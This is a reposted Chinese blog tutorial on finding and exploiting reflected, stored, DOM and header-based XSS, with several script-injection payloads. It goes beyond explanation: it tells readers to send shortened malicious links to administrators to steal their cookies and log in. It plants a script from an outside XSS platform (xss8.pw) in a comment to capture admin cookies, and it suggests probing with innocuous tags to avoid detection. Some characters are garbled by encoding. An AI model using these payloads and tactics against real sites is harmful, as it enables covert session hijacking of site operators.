xss漏洞原理分析與挖掘方法

0x01 反射型xss

反射型xss是能挖到的xss中最多的,他的原理如下:

1.黑客發(fā)現(xiàn)了一個存在反射型xss的URL

2.查看源碼根據(jù)輸出環(huán)境構(gòu)造特定的xss代碼,也會進(jìn)行編碼縮短代碼,這個可有可無

3.把構(gòu)造的xss代碼發(fā)送給受害者

4.受害者點(diǎn)擊后執(zhí)行xss代碼

5.完成黑客想要的功能,多是獲取cookie

原理就是這么個原理,現(xiàn)在看一下怎么挖掘:

很多工具都可以掃描出反射型xss,但如果想要更隱蔽,或者是某些系統(tǒng)不允許掃描,這個時候就要手工檢測了,這也是最能練技術(shù)時候,先說一下工具掃描,常見的掃描工具有: Safe3WVS,burpsuite,AWVS,appscan,W3af

image

比如如下網(wǎng)站:

image

我們在賬戶輸入處輸入whoami,查看源代碼,按下ctrl+f來搜索:whoami,看出現(xiàn)在哪個位置,來構(gòu)造特定的payload

image

我么可以構(gòu)造"> <script>alert('XSS')</script>把前面的<input閉合掉,讓它執(zhí)行后面的代碼,構(gòu)造好代碼后把URL變成短鏈接發(fā)送給管理員,管理員點(diǎn)擊打開獲取他的cookie登錄

image

挖掘反射型xss的方法就是這些,手工也是這個方法,只是需要自己去找存在xss漏洞的網(wǎng)站,手工就一句話:見框就插,改數(shù)據(jù)包中的參數(shù),改URL中的參數(shù),js源代碼分析。

改數(shù)據(jù)包,js源代碼分析比較深就不再細(xì)說了,見框就插就比較好理解了,先在輸入框輸入唯一的字符串,查看源代碼字符串的位置,在輸入 <>""/&()看過濾了什么,根據(jù)過濾的字符來構(gòu)造特定的xss代碼

0x02存儲型xss

存儲型xss和反射型不同的地方在于他會把輸入的數(shù)據(jù)保存在服務(wù)端,反射型輸入的數(shù)據(jù)游走在客戶端

存儲型xss主要存在于留言板評論區(qū),因?yàn)樽罱鼪]有挖到存儲型xss,所以自己寫了一個留言板用來演示:

image

點(diǎn)擊留言(這里最好不要使用<script>alert("xss")</script>來測試是否存在XSS漏洞,容易被管理員發(fā)現(xiàn),所以你可以使用<a></a>來測試,如果成功了,不會被管理員發(fā)現(xiàn))OK,我先在留言里出輸入<a>s</a>提交留言,F(xiàn)12打開審查元素,來看我們輸入的標(biāo)簽是否被過濾了

image

發(fā)現(xiàn)沒有過濾(如果<a>s</a>是彩色的說明沒有過濾,如果是灰色就說明過濾了)

那我就在xss平臺里創(chuàng)建一個項(xiàng)目,然后再次留言,里面寫上,“<script src="http://xss8.pw/EFe2Ga?1409273226"></script>我想報名“

image

只要管理員點(diǎn)擊就會獲取管理員cookie和后臺地址

0x03 DOM XSS

上面兩種都需要服務(wù)端的反饋來構(gòu)造xss,DOM并不需要與服務(wù)端進(jìn)行交互,是基于javascript的,保存如下代碼為123.html

<script>
document.write(document.URL.substring(document.URL.indexOf("a=")+2,document.URL.length));
</script>

在這里我先解釋下上面的意思

Document.write是把里面的內(nèi)容寫到頁面里。

document.URL是獲取URL地址。

Substring 從某處到某處,把之間的內(nèi)容獲取。

document.URL.indexOf("a=")+2是在當(dāng)前URL里從開頭檢索a=字符,然后加2(因?yàn)閍=是兩個字符,我們需要把他略去),同時他也是substring的開始值

document.URL.length是獲取當(dāng)前URL的長度,同時也是substring的結(jié)束值。

合起來的意思就是:在URL獲取a=后面的值,然后把a(bǔ)=后面的值給顯示出來。

image

怎么會出現(xiàn)這個問題呢?

因?yàn)楫?dāng)前url并沒有a=的字符,而indexOf的特性是,當(dāng)獲取的值里,如果沒有找到自己要檢索的值的話,返回-1。找到了則返回0。那么document.URL.indexOf("a=")則為-1,再加上2,得1。然后一直到URL最后。這樣一來,就把file的f字符給略去了,所以才會出現(xiàn)ile:///C:/Users/Administrator/Desktop/1.html

大致的原理都會了,我們繼續(xù)下面的

我們可以在123 .html,?a=123或則#a=123,只要不影響前面的路徑,而且保證a=出現(xiàn)在URL就可以了。

image

我們清楚的看到我們輸入的字符被顯示出來了。

那我們輸入<script>alert("xss")</script>會怎么樣呢?

答案肯定是彈窗, 但是,這里沒有彈框,主要是因?yàn)闉g覽器過濾了

image

0×06 挖掘XSS:

挖掘XSS的技巧很多,各式各樣,我這里就簡要說明下容易出現(xiàn)XSS的地方。

之前說過了修改輸入框和URL參數(shù)來實(shí)現(xiàn)XSS。我在這里深入一點(diǎn)說明下。

修改URL參數(shù)的時候,你看到的只是用GET來傳輸數(shù)據(jù)的,還有隱形的數(shù)據(jù),他們是用POST來傳輸數(shù)據(jù),只有在數(shù)據(jù)包里才可以看到。這里不就闡述了,不懂的可以參考之前我寫的利用方法,GET和POST利用方法幾乎一樣。不清楚POST和GET的可以在0×01 前言里查看下我給出的鏈接。

廢話也不說了,下面進(jìn)入正題。

一:我們都知道當(dāng)你瀏覽網(wǎng)站的時候,對方的服務(wù)器會記錄下你的IP地址。如果我們偽造IP為XSS代碼呢?這里說的修改IP為XSS不是說修改PC端的,而是在瀏覽器也就是網(wǎng)頁上的客戶端進(jìn)行修改。

這里需要使用firefox瀏覽器和兩個附件

附件一:X-Forwarded-For Header

因?yàn)镻HP獲取IP有3個函數(shù)。而X-Forwarded-For Header就是對其中一個函數(shù)X_FORWARDED_FOR起作用,X_FORWARDED_FOR有個缺陷可以使客戶端偽造任意IP,當(dāng)然包括字符串,但是對其他兩個函數(shù)就不行了。

附件二:Modify Headers

Modify Headers可以偽造數(shù)據(jù)包內(nèi)容,當(dāng)然也可以偽造HTTP_CLIENT_IP來更改IP。

那還有一個REMOTE_ADDR獲取IP函數(shù),這個怎么修改呢?答案是無法修改。

REMOTE_ADDR是由 nginx 傳遞給 php 的參數(shù),所以就是當(dāng)前 nginx 直接通信的客戶端的 IP ,而我們無法插手。所以一旦對方使用了REMOTE_ADDR函數(shù)來獲取IP,那就沒辦法了。不過不要緊,一共3個函數(shù),2個函數(shù)可以偽造,我們還是有很大的成功率的。好了,開始偽造。

image
image

偽造好后,我們打開www.ip138.com

成功彈窗了。因?yàn)槲以赬-Forwarded-For Header里配置的是<script>alert("xss")</script>。而在Modify Headers配置的是<script>alert("xss2")</script>。也就是說ip138.com使用的是X_FORWARDED_FOR函數(shù)來獲取IP的。但是DZ等著名CMS不存在,他們都過濾了。

image

參考文章:

web前端黑客技術(shù)揭秘學(xué)習(xí)筆記-XSS漏洞挖掘 - CSDN博客

XSS的原理分析與解剖 - FreeBuf互聯(lián)網(wǎng)安全新媒體平臺 | 關(guān)注黑客與極客

記一次挖掘存儲型XSS漏洞過程 - 即刻安全

轉(zhuǎn)載小鳥大佬
原貼鏈接:https://zhuanlan.zhihu.com/p/35315167

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容